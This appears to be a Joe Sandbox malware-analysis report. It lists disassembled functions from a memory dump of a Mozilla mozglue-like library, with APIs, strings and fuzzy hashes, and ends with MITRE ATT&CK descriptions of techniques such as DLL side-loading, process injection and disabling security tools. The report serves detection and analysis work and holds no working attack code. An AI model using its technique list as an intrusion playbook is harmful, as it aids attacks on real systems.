Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction ID: 5e4494a2d2c5870ac6189d322e663b85b734a084fab5b540a58c97cfa2d0de3d
Opcode Fuzzy Hash: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction Fuzzy Hash: 1FF090B11006009BC7218F17D88875BB7F9EF8A364F10051AE54A87710CB71A8068B9E

Function 6C6A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6A85D3

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C6A8725

Strings

map/set<T> too long, xrefs: 6C6A8720

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction ID: 70b27cce337b19c255c6b91cde610e625e735871812691eeb71a8baf6980d39e
Opcode Fuzzy Hash: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction Fuzzy Hash: FA515674A006818FE701CF58C184A59FBF1BF4A318F19C19AD8595BB62C375EC46CF96

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C664730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

Strings

GetNtLoaderAPI, xrefs: 6C664744

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction ID: 595a1f3882f97951bc1bda5507ffae1b5ff0c44f644422ab8216b1f9724919fd
Opcode Fuzzy Hash: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction Fuzzy Hash: 9A0192757082148FDF00AFA7C4D4629BBB9EB8B321F05046AEA05C7700DB70E8018FDA

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C669E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C669EEF

Strings

NaN, xrefs: 6C669EC1
Infinity, xrefs: 6C669EB7

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction ID: c4194f2a258d45e7e49048328d94766e7d17b0c02063ac6c994417b112666e3a
Opcode Fuzzy Hash: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction Fuzzy Hash: E1F06D71601641CBDB00CF5AD8C5B9033F1B74771DF250A19C9440AF81D7767646CA9F

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C663850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C6DF860), ref: 6C66385C
ReleaseSRWLockExclusive.KERNEL32(6C6DF860,?), ref: 6C663871

Strings

,ml, xrefs: 6C66387A

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,ml
API String ID: 17069307-2011709430
Opcode ID: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction ID: 00fa472585672111d06e3571410fb36d97cae3e71abd384864b2b2c2593cfef1
Opcode Fuzzy Hash: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction Fuzzy Hash: 4EE0DF31A55A1897C7119F9794415CA7BB8EF4779070A8019F40A17E00C730F1808ACF

Function 6C66BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C66BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C66BEF5

Strings

cryptbase.dll, xrefs: 6C66BEF0

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction ID: 44563a522ee1324380eaf9a3347d73bdea828b5c897ecfb4e6088c6321dae0f1
Opcode Fuzzy Hash: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction Fuzzy Hash: F7D0A731184209E6C7006B528C05B2937749782795F10C020F30544C52C7B0B413DF4D

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Function 6C6ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C69FF2A), ref: 6C6ADFFD

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C69FF2A), ref: 6C6AE0FE

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction ID: e21ff0582001f1c578717a04a0280a70c0edc5aa316f26e7165c00677b0be3f0
Opcode Fuzzy Hash: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction Fuzzy Hash: 9441C1B16042168FEB14CFA9C89075A73B2AF46308F14493DD516DB740E732ED26CBAA

Function 6C6A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C6A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C6A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A6F5C

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction ID: 0bc45efbc56a15fb90265375e450124e3aef0bdf4470a3bdb9cd26a8f81ef013
Opcode Fuzzy Hash: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction Fuzzy Hash: 7C31F871A1060A8FDB04CF6CC980AAA73FAFB95304F50413DD41AC7651EF31E95AC794

Function 6C6BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C660A4D), ref: 6C6BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C660A4D), ref: 6C6BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C660A4D), ref: 6C6BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C660A4D), ref: 6C6BB67F

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction ID: 8faa6fbec7cdb6eb0e23bb9a89ffa2cdca4c2045baff36eeb0e7f7c129bded36
Opcode Fuzzy Hash: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction Fuzzy Hash: 1C31D471A012168FDB10CF59C8C469ABBB5FFC5304F168669C846EB201EB31ED25CBA5

Function 6C68F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F668

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: fd0c959764e2c6f652b47417bb4cdd4b4b8c15a0ef4d9854fa31841a68e36b3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 95316F71B00214AFC714CF1DDCC0A9B7BB5EB94354B148538FA4A8BB04D732E9448BAA

Function 6C6A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26C1
free.MOZGLUE(?), ref: 6C6A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26FF
free.MOZGLUE ref: 6C6A270D

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction ID: da9dc1a29145f47382f95be9498f80c97c9091a0ac98734626d699cba01f1fb2
Opcode Fuzzy Hash: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction Fuzzy Hash: EFF0F9B27012046BE7109E5AD8C4D4773A9EF4131CB100035EA1EC3B11E332FD1AC6AE

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

